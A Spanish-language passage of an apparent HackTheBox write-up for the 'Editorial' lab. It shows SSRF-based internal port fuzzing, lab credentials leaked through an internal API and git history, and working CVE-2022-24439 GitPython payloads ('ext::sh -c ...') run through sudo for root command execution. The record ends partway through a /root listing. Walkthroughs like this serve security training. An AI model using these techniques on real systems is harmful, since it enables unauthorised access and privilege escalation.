This page looks best with JavaScript enabled

HackTheBox - Editorial

 •  ✍️ sckull

En Editorial logramos realizar una enumeracion de puertos a traves del sitio web, esto nos permitio acceder a rutas de API internas donde descubrimos credenciales que nos permitieron acceder por SSH. Tras analizar el codigo y cambios de la API con Git, encontramos credenciales que nos dieron acceso a un segundo usuario. Finalmente escalamos privilegios explotando una vulnerabilidad en la libreria gitpython.

Nombre Editorial box_img_maker
OS

Linux

Puntos 20
Dificultad Easy
Fecha de Salida 2024-06-15
IP 10.10.11.20
Maker

Lanz

Rated
{
    "type": "bar",
    "data":  {
        "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
        "datasets": [{
            "label": "User Rated Difficulty",
            "data": [483, 674, 2012, 1944, 909, 405, 262, 89, 26, 83],
            "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
        }]
    },
    "options": {
        "scales": {
          "xAxes": [{"display": false}],
          "yAxes": [{"display": false}]
        },
        "legend": {"labels": {"fontColor": "white"}},
        "responsive": true
      }
}

Recon

nmap

nmap muestra multiples puertos abiertos: http (80) y ssh (22).

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
# Nmap 7.94SVN scan initiated Fri Jul 12 20:36:02 2024 as: nmap -p22,80 -sV -sC -oN nmap_scan 10.10.11.20
Nmap scan report for 10.10.11.20
Host is up (0.082s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_  256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 12 20:36:11 2024 -- 1 IP address (1 host up) scanned in 9.62 seconds

Web Site

El sitio web nos redirige al dominio editorial.htb el cual agregamos al archivo /etc/hosts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
[kali@kali] [/dev/pts/6] 
[~/htb/editorial]> curl -sI 10.10.11.20
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 13 Jul 2024 00:38:13 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: http://editorial.htb

[kali@kali] [/dev/pts/6] 
[~/htb/editorial]>

El sitio tiene una tematica de una editorial.

image

En /about observamos un dominio: tiempoarriba.htb.

image

Encontramos un formulario para publicar un libro.

image

Web Tech

wappalyzer nos muestra la tecnologia utilizada por el sitio.

image

Directory Brute Forcing

feroxbuster muestra unicamente los recursos del sitio y direcciones ya conocidas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[kali@kali] [/dev/pts/6] 
[~/htb/editorial]> feroxbuster -u http://editorial.htb/ -w $MD
                                                                                                                                                                                              
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.3
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://editorial.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.10.3
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        5l       31w      207c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      210l      537w     7140c http://editorial.htb/upload
200      GET       72l      232w     2939c http://editorial.htb/about
200      GET        7l     2189w   194901c http://editorial.htb/static/css/bootstrap.min.css
302      GET        5l       22w      201c http://editorial.htb/upload-cover => http://editorial.htb/upload
200      GET       81l      467w    28535c http://editorial.htb/static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
200      GET     4780l    27457w  2300540c http://editorial.htb/static/images/pexels-min-an-694740.jpg
200      GET      177l      589w     8577c http://editorial.htb/
200      GET        0l        0w  2715072c http://editorial.htb/static/images/pexels-janko-ferlic-590493.jpg

Web App

En el sitio para publicitar un libro descubrimos que unicamente funciona la previsualizacion de la porta del libro.

image

Esta “funcionalidad” permite la subida de imagenes e imagenes en URL. Al subir una imagen esta se muestra como previsualizacion.

image

Sin embargo, tras unos segundos la direccion de la imagen no existe.

image

En el caso de la url, esta realiza una solicitud a nuestro servidor http y muestra la imagen.

1
2
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
10.10.11.20 - - [15/Jul/2024 17:30:03] "GET /batman.jpg HTTP/1.1" 200 -

En el caso de que enviemos la URL sin ninguna imagen, observamos el contenido HTML.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
[kali@kali] [/dev/pts/6] 
[~/htb/editorial]> curl -s http://editorial.htb/static/uploads/266b44b6-3135-44d7-a144-7a1d84adfee1      
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="batman.jpg">batman.jpg</a></li>
<li><a href="nmap_scan">nmap_scan</a></li>
</ul>
<hr>
</body>
</html>
[kali@kali] [/dev/pts/6] 
[~/htb/editorial]>

Enviamos nuevamente la solicitud, pero esta vez a la escucha por el mismo puerto con netcat, observamos que se esta realizando una solicitud utilizando python-requests.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
[kali@kali] [/dev/pts/6] [130]
[~/htb/editorial]> nc -lvvvp 9090
listening on [any] 9090 ...
connect to [10.10.14.106] from editorial.htb [10.10.11.20] 59664
GET /batman.jpg HTTP/1.1
Host: 10.10.14.106:9090
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

 sent 0, rcvd 158
[kali@kali] [/dev/pts/6] 
[~/htb/editorial]>

Intentamos realizar una solicitud a la direccion local http://127.0.0.1 pero este nos devolvia la misma direccion de la imagen:

image

Port Enum

Intentamos realizar una enumeracion de puertos utilizando la solicitud http realizada por la aplicacion web. En Burpsuite guardamos la solicitud a un archivo.

image

Modificamos el archivo para el puerto en la URL agregando FUZZ.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[kali@kali] [/dev/pts/6] 
[~/htb/editorial]> cat upload_http 
POST /upload-cover HTTP/1.1
Host: editorial.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------1943131650135060620240788804
Content-Length: 367
Origin: http://editorial.htb
Connection: close
Referer: http://editorial.htb/upload

-----------------------------1943131650135060620240788804
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
-----------------------------1943131650135060620240788804
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------1943131650135060620240788804--
[kali@kali] [/dev/pts/6] 
[~/htb/editorial]>

Finalmente ejecutamos ffuf agregando un wordlist con seq y filtrando por tamano 61, este ultimo filtraria la direccion por “default” que retorna la applicacion.

1
seq 1 65535 | ffuf -w -:FUZZ -request upload_http -u http://editorial.htb/upload-cover -fs 61

Tras la ejecucion observamos que el puerto 5000 es accesible.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
[kali@kali] [/dev/pts/6] 
[~/htb/editorial]> seq 1 65535 | ffuf -w -:FUZZ -request upload_http -u http://editorial.htb/upload-cover -fs 61


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://editorial.htb/upload-cover
 :: Wordlist         : FUZZ: -
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
 :: Header           : Accept-Encoding: gzip, deflate, br
 :: Header           : Referer: http://editorial.htb/upload
 :: Header           : Host: editorial.htb
 :: Header           : Accept: */*
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Header           : Content-Type: multipart/form-data; boundary=---------------------------1943131650135060620240788804
 :: Header           : Origin: http://editorial.htb
 :: Header           : Connection: close
 :: Data             : -----------------------------1943131650135060620240788804
Content-Disposition: form-data; name="bookurl"

http://127.0.0.1:FUZZ
-----------------------------1943131650135060620240788804
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream


-----------------------------1943131650135060620240788804--
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 61
________________________________________________

5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 77ms]
:: Progress: [65535/65535] :: Job [1/1] :: 234 req/sec :: Duration: [0:04:43] :: Errors: 1 ::
[kali@kali] [/dev/pts/6] 
[~/htb/editorial]>

Al realizar la solicitud, el sitio retorna una url diferente.

image

Al visitar la direccion nos muestra un JSON con las rutas de una API.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
[kali@kali] [/dev/pts/6] 
[~/htb/editorial]> curl -s http://editorial.htb/static/uploads/92e4faa2-4f7e-4154-b59d-3defacce79d5  | jq
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}
[kali@kali] [/dev/pts/6] 
[~/htb/editorial]>

API Enum

Realizamos la solicitud a todas las rutas y obtuvimos informacion:

  • En la primera ruta se observan informacion sobre cupones, emails y fecha de validez de estos
  • En la segunda, un mensaje de bienvenida con credenciales de acceso a foro, dev:dev080217_devAPI!@.
  • En la ultima se observan rutas para otras versiones de API y emails para cada una.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
# /api/latest/metadata/messages/coupons
[
   {
      "2anniversaryTWOandFOURread4":{
         "contact_email_2":"info@tiempoarriba.oc",
         "valid_until":"12/02/2024"
      }
   },
   {
      "frEsh11bookS230":{
         "contact_email_2":"info@tiempoarriba.oc",
         "valid_until":"31/11/2023"
      }
   }
]

# /api/latest/metadata/messages/authors

{
   "template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}

# /api/latest/metadata/changelog
[
   {
      "1":{
         "api_route":"/api/v1/metadata/",
         "contact_email_1":"soporte@tiempoarriba.oc",
         "contact_email_2":"info@tiempoarriba.oc",
         "editorial":"Editorial El Tiempo Por Arriba"
      }
   },
   {
      "1.1":{
         "api_route":"/api/v1.1/metadata/",
         "contact_email_1":"soporte@tiempoarriba.oc",
         "contact_email_2":"info@tiempoarriba.oc",
         "editorial":"Ed Tiempo Arriba"
      }
   },
   {
      "1.2":{
         "contact_email_1":"soporte@tiempoarriba.oc",
         "contact_email_2":"info@tiempoarriba.oc",
         "editorial":"Editorial Tiempo Arriba",
         "endpoint":"/api/v1.2/metadata/"
      }
   },
   {
      "2":{
         "contact_email":"info@tiempoarriba.moc.oc",
         "editorial":"Editorial Tiempo Arriba",
         "endpoint":"/api/v2/metadata/"
      }
   }
]

User - Dev

Uilizamos las credenciales encontradas por SSH, logramos el acceso como dev y a la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
[kali@kali] [/dev/pts/6] 
[~/htb/editorial]> ssh dev@editorial.htb # dev080217_devAPI!@
The authenticity of host 'editorial.htb (10.10.11.20)' can't be established.
ED25519 key fingerprint is SHA256:YR+ibhVYSWNLe4xyiPA0g45F4p1pNAcQ7+xupfIR70Q.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'editorial.htb' (ED25519) to the list of known hosts.
dev@editorial.htb's password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Mon Jul 15 10:42:59 PM UTC 2024

  System load:           0.0
  Usage of /:            61.3% of 6.35GB
  Memory usage:          20%
  Swap usage:            0%
  Processes:             225
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.20
  IPv6 address for eth0: dead:beef::250:56ff:feb0:9ee


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Jul 15 15:32:09 2024 from 10.10.14.79
dev@editorial:~$ whoami;id
dev
uid=1001(dev) gid=1001(dev) groups=1001(dev)
dev@editorial:~$ ls
apps  user.txt
dev@editorial:~$ cat user.txt 
325c5f20b3a932f7888129e07be13cae
dev@editorial:~$ 

En el directorio encontramos un repositorio, donde observamos que se eliminaron varios archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
dev@editorial:~/apps$ ll
total 12
drwxrwxr-x 3 dev dev 4096 Jun  5 14:36 ./
drwxr-x--- 5 dev dev 4096 Jul 15 16:17 ../
drwxr-xr-x 8 dev dev 4096 Jul 15 22:44 .git/
dev@editorial:~/apps$ git status
On branch master
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git restore <file>..." to discard changes in working directory)
        deleted:    app_api/app.py
        deleted:    app_editorial/app.py
        deleted:    app_editorial/static/css/bootstrap-grid.css
        deleted:    app_editorial/static/css/bootstrap-grid.css.map
[.. snip ..]
        deleted:    app_editorial/static/js/bootstrap.js
        deleted:    app_editorial/static/js/bootstrap.js.map
        deleted:    app_editorial/static/js/bootstrap.min.js
        deleted:    app_editorial/static/js/bootstrap.min.js.map
        deleted:    app_editorial/templates/about.html
        deleted:    app_editorial/templates/index.html
        deleted:    app_editorial/templates/upload.html

no changes added to commit (use "git add" and/or "git commit -a")
dev@editorial:~/apps$ 

Restauramos los archivos python eliminados con git.

1
2
3
4
5
dev@editorial:~/apps$ git restore app_api/app.py 
dev@editorial:~/apps$ git restore app_editorial/app.py
dev@editorial:~/apps$ l
app_api/  app_editorial/
dev@editorial:~/apps$

Vemos que el codigo es similar al de la aplicacion web y la API.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
# app_api/app.py
# API (in development).
# * To retrieve info about editorial

import json
from flask import Flask, jsonify

# -------------------------------
# App configuration
# -------------------------------
app = Flask(__name__)

# -------------------------------
# Global Variables
# -------------------------------
api_route = "/api/latest/metadata"
api_editorial_name = "Editorial Tiempo Arriba"
api_editorial_email = "info@tiempoarriba.htb"

# -------------------------------
# API routes
# -------------------------------
# -- : home
@app.route('/api', methods=['GET'])
def index():
    data_editorial = {
        'version': [{
            '1': {
                'editorial': 'Editorial El Tiempo Por Arriba', 
                'contact_email_1': 'soporte@tiempoarriba.oc',
                'contact_email_2': 'info@tiempoarriba.oc',
                'api_route': '/api/v1/metadata/'
            }},
            {
            '1.1': {
                'editorial': 'Ed Tiempo Arriba', 
                'contact_email_1': 'soporte@tiempoarriba.oc',
                'contact_email_2': 'info@tiempoarriba.oc',
                'api_route': '/api/v1.1/metadata/'
            }},
            {
            '1.2': {
                'editorial': api_editorial_name, 
                'contact_email_1': 'soporte@tiempoarriba.oc',
                'contact_email_2': 'info@tiempoarriba.oc',
                'api_route': f'/api/v1.2/metadata/'
            }},
            {
            '2': {
                'editorial': api_editorial_name, 
                'contact_email': 'info@tiempoarriba.moc.oc',
                'api_route': f'/api/v2/metadata/'
            }},
            {
            '2.3': {
                'editorial': api_editorial_name, 
                'contact_email': api_editorial_email,
                'api_route': f'{api_route}/'
            }
        }]
    }
    return jsonify(data_editorial)

# -- : (development) mail message to new authors
@app.route(api_route + '/authors/message', methods=['GET'])
def api_mail_new_authors():
    return jsonify({
        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
    }) # TODO: replace dev credentials when checks pass

# -------------------------------
# Start program
# -------------------------------
if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
# app_editorial/app.py 
import os
import uuid
import json
import requests
from flask import Flask, render_template, request, redirect, url_for

# -------------------------------
# App configuration
# -------------------------------
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = "app_editorial/static/uploads/"

# -------------------------------
# Program functions
# -------------------------------
# -- Reject internal requests
def request_reject_localhost(url_bookcover):
    reject_url = ["localhost", "127.0.0.1"]
    for i in reject_url:
        if i in url_bookcover.lower():
            return True

# -- Editorial information (API)
def api_editorial_info(key):
    r = requests.get('http://127.0.0.1:5000/api')
    json_editorial_info = json.loads(r.text)

    editorial_api_version = list(json_editorial_info['version'][-1].keys())[0]

    if key == "name":
        editorial_api_value = json_editorial_info['version'][-1][editorial_api_version]['editorial']
    elif key == "contact":
        editorial_api_value = json_editorial_info['version'][-1][editorial_api_version]['contact_email']

    return editorial_api_value

# -------------------------------
# Website routes
# -------------------------------
# -- Index page
@app.route('/')
def index():
    return render_template('index.html', editorial_name=api_editorial_info('name'))

# -- Upload book to be published
@app.route('/upload', methods=['GET', 'POST'])
def upload():
    if request.method == 'GET':
        return render_template('upload.html', default=True, editorial_name=api_editorial_info('name'))

    elif request.method == 'POST':
        book_name = request.form['bookname']
        book_intro = request.form['bookintro']
        whyus = request.form['whyus']
        email = request.form['email']
        phone = request.form['phone']

        # To do: Connect forms and inputs
        return render_template('upload.html', default=True, editorial_name=api_editorial_info('name'), success_upload="✍  Request Submited! 🔖")

# -- Upload cover book
@app.route('/upload-cover', methods=['GET','POST'])
def upload_cover_image():
    if request.method == 'GET':
        return redirect(url_for('upload'))

    elif request.method == 'POST':
        file_bookcover = request.files['bookfile']
        url_bookcover = request.form['bookurl']
        default_cover = "https://images.unsplash.com/photo-1630734277837-ebe62757b6e0?ixlib=rb-4.0.3&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=880&q=80"

        uuid_filename_cover = str(uuid.uuid4()) # secure filename

        # If cover comes from an URL
        if url_bookcover:
            if request_reject_localhost(url_bookcover):
                return default_cover

            try: # Set default cover if exists a connection problem
                r = requests.get(url_bookcover, timeout=1)
            except:
                return default_cover

            # Save the response to the request in a file
            with open(app.config['UPLOAD_FOLDER'] + uuid_filename_cover, 'wb') as file_url_bookcover:
                file_url_bookcover.write(r.content)

        # If cover comes from a FILE
        elif file_bookcover:
            file_bookcover.save(os.path.join(app.config['UPLOAD_FOLDER'], uuid_filename_cover))
        # Neither.
        else:
            return default_cover

        return os.path.join(app.config['UPLOAD_FOLDER'], uuid_filename_cover)

# -- About our editorial
@app.route('/about')
def about():
    return render_template('about.html', editorial_name=api_editorial_info('name'), editorial_contact=api_editorial_info('contact'))

# -- TODO: validate with team feature to send mail to new authors, message is already in api.

# -------------------------------
# Start program
# -------------------------------
if __name__ == '__main__':
    app.run(host='0.0.0.0')

Observamos el log del repositorio y revisamos cada uno de estos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev
    
    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info
    
    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app
    
    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.
dev@editorial:~/apps$

Observamos que en el mensaje de 1e84a0 hay un par de credenciales, en este caso para prod.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
dev@editorial:~/apps$ git show 1e84a036b2f33c59e2390730699a488c65643d28

[...]

+# -- : (development) mail message to new authors
+@app.route(api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+    return jsonify({
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal foru
m and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questi
ons or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+    }) # TODO: replace dev credentials when checks pass
+

[...]

User - Prod

Descubrimos que el usuario prod esta registrado en la maquina, cambiamos de usuario con su y con la contrasena encontrada, logrando acceder a este nuevo usuario.

1
2
3
4
5
6
7
8
dev@editorial:~/apps$ cat /etc/passwd | grep prod
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev@editorial:~/apps$ su prod
Password: 
prod@editorial:/home/dev/apps$ whoami
prod
prod@editorial:/home/dev/apps$ cd
prod@editorial:~$

Privesc

Observamos que el usuario puede ejecutar clone_prod_change.py como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
prod@editorial:~$ sudo -l -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:

Sudoers entry:
    RunAsUsers: root
    Commands:
        /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod@editorial:~$

El script utiliza gitPyhon, realiza una clonacion del repositorio dado dentro de la carpeta new_changes.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

Encontramos que gitPython tiene una vulnerabilidad CVE-2022-24439 que permite la ejecucion de comandos. Ejecutamos el PoC el cual crea un archivo en /tmp como root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
prod@editorial:~$ sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c touch% /tmp/file% >&2"
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/file% >&2 new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
prod@editorial:~$ ll /tmp/file 
-rw-r--r-- 1 root root 0 Jul 16 00:17 /tmp/file
prod@editorial:~$ 

Asi mismo podemos lisar los archivos en /root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
prod@editorial:~$ sudo python3 /opt/internal_apps/clone_changes/clone_prod_change.py "ext::sh -c ls% -lah% /root% >&2"
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c ls% -lah% /root% >&2 new_changes
  stderr: 'Cloning into 'new_changes'...
total 36K
drwx------  5 root root 4.0K Jul 16 00:13 .
drwxr-xr-x 18 root root 4.0K Jun  5 14:54 ..
